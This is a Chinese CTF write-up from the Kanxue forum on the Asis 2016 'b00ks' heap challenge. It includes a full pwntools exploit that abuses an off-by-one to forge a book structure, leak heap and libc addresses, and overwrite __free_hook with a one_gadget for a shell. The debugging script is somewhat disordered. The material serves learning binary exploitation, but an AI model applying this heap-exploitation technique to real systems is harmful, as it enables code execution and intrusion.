本文为看雪论精华文章
看雪论坛作者ID:直木
步骤一:运行查看
步骤二:查看文件类型和保护机制
$ file Asis_2016_b00ks
Asis_2016_b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec --file=Asis_2016_b00ks
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 Asis_2016_b00ks
步骤三:IDA反编译分析
struct book{
int book_id; // offset:0
char* book_name; // offset:8
char* book_description; // offset:16
int book_description_size; // offset:24
}
0x202040 ------------------
author_name
0x202060 ------------------ 0x202068
book1
book2
...
book20
0x2020FF ------------------
步骤四:调试分析
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './Asis_2016_b00ks'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg():
gdb.attach(p)
pause()
def createbook(name_size,name,desc_size,desc):
sla('> ','1')
sla(': ',str(name_size))
sla(': ',name)
sla(': ',str(desc_size))
sla(': ',desc)
def printbook(id):
sla('> ','4')
ru(': ')
for i in range(id):
book_id=int(p.readline()[:-1])
ru(': ')
book_name=p.readline()[:-1]
ru(': ')
book_des=p.readline()[:-1]
ru(': ')
book_author=p.readline()[:-1]
return book_id,book_name,book_des,book_author
def createname(name):
sla(': ',name)
def changename(name):
sla('> ','5')
sla(': ',name)
def editbook(book_id,new_desc):
sla('> ','3')
sla(': ',str(book_id))
sla(': ',new_desc)
def deletebook(book_id):
sla('> ','2')
sla(': ',str(book_id))
#start
# end
p.interactive()
createname("A"*32)
createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
createname("A"*32)
#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
#dbg()
createbook(0x80,"aaaa",0x20,"aaaaaaaaa") # 1
book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addr
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
leak('book1_addr = ',book1_addr)
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")
payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload) # fake book
changename("B"*32)
#dbg()
fake_book_id,fake_book_name,fake_book_desc,book_author=printbook(1)
book2_name_addr = uu64(fake_book_name)
book2_desc_addr = uu64(fake_book_desc)
leak('fake_book_name(book2_name_addr)=',book2_name_addr)
leak('fake_book_des(book2_desc_addr)=',book2_desc_addr)
libc_base=book2_desc_addr - (0x00007ffff7f97010-0x00007ffff79e2000) # leak libc
leak('libc base addr = ',libc_base)
free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget = libc_base+ 0x4f432 # 0x4f3d5 0x4f432 0x10a41c
leak('free_hook = ',free_hook)
leak('one_gadget = ',one_gadget)
步骤五:构造Exp
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './Asis_2016_b00ks'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg():
gdb.attach(p)
pause()
def createbook(name_size,name,desc_size,desc):
sla('> ','1')
sla(': ',str(name_size))
sla(': ',name)
sla(': ',str(desc_size))
sla(': ',desc)
def printbook(id):
sla('> ','4')
ru(': ')
for i in range(id):
book_id=int(p.readline()[:-1])
ru(': ')
book_name=p.readline()[:-1]
ru(': ')
book_des=p.readline()[:-1]
ru(': ')
book_author=p.readline()[:-1]
return book_id,book_name,book_des,book_author
def createname(name):
sla(': ',name)
def changename(name):
sla('> ','5')
sla(': ',name)
def editbook(book_id,new_desc):
sla('> ','3')
sla(': ',str(book_id))
sla(': ',new_desc)
def deletebook(book_id):
sla('> ','2')
sla(': ',str(book_id))
#start
createname("A"*32)
#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
#dbg()
createbook(0x80,"aaaa",0x20,"aaaaaaaaa")
book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addr
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
leak('book1_addr = ',book1_addr)
#dbg()
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")
payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload) # fake book
changename("B"*32)
#dbg()
fake_book_id,fake_book_name,fake_book_desc,book_author=printbook(1)
book2_name_addr = uu64(fake_book_name)
book2_desc_addr = uu64(fake_book_desc)
leak('fake_book_name(book2_name_addr)=',book2_name_addr)
leak('fake_book_des(book2_desc_addr)=',book2_desc_addr)
#dbg()
libc_base=book2_desc_addr - (0x00007ffff7f97010-0x00007ffff79e2000) # leak libc
leak('libc base addr = ',libc_base)
free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget = libc_base+ 0x4f432 # 0x4f3d5 0x4f432 0x10a41c
leak('free_hook = ',free_hook)
leak('one_gadget = ',one_gadget)
#dbg()
editbook(1,p64(free_hook))
editbook(2,p64(one_gadget))
dbg()
deletebook(2)
# end
p.interactive()
参考资料
ctfwiki-off_by_one
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/
Asis_2016_b00ks
https://www.yuque.com/hshs/writeups/ovxo63
题目github地址
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
*本文由看雪论坛 直木 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!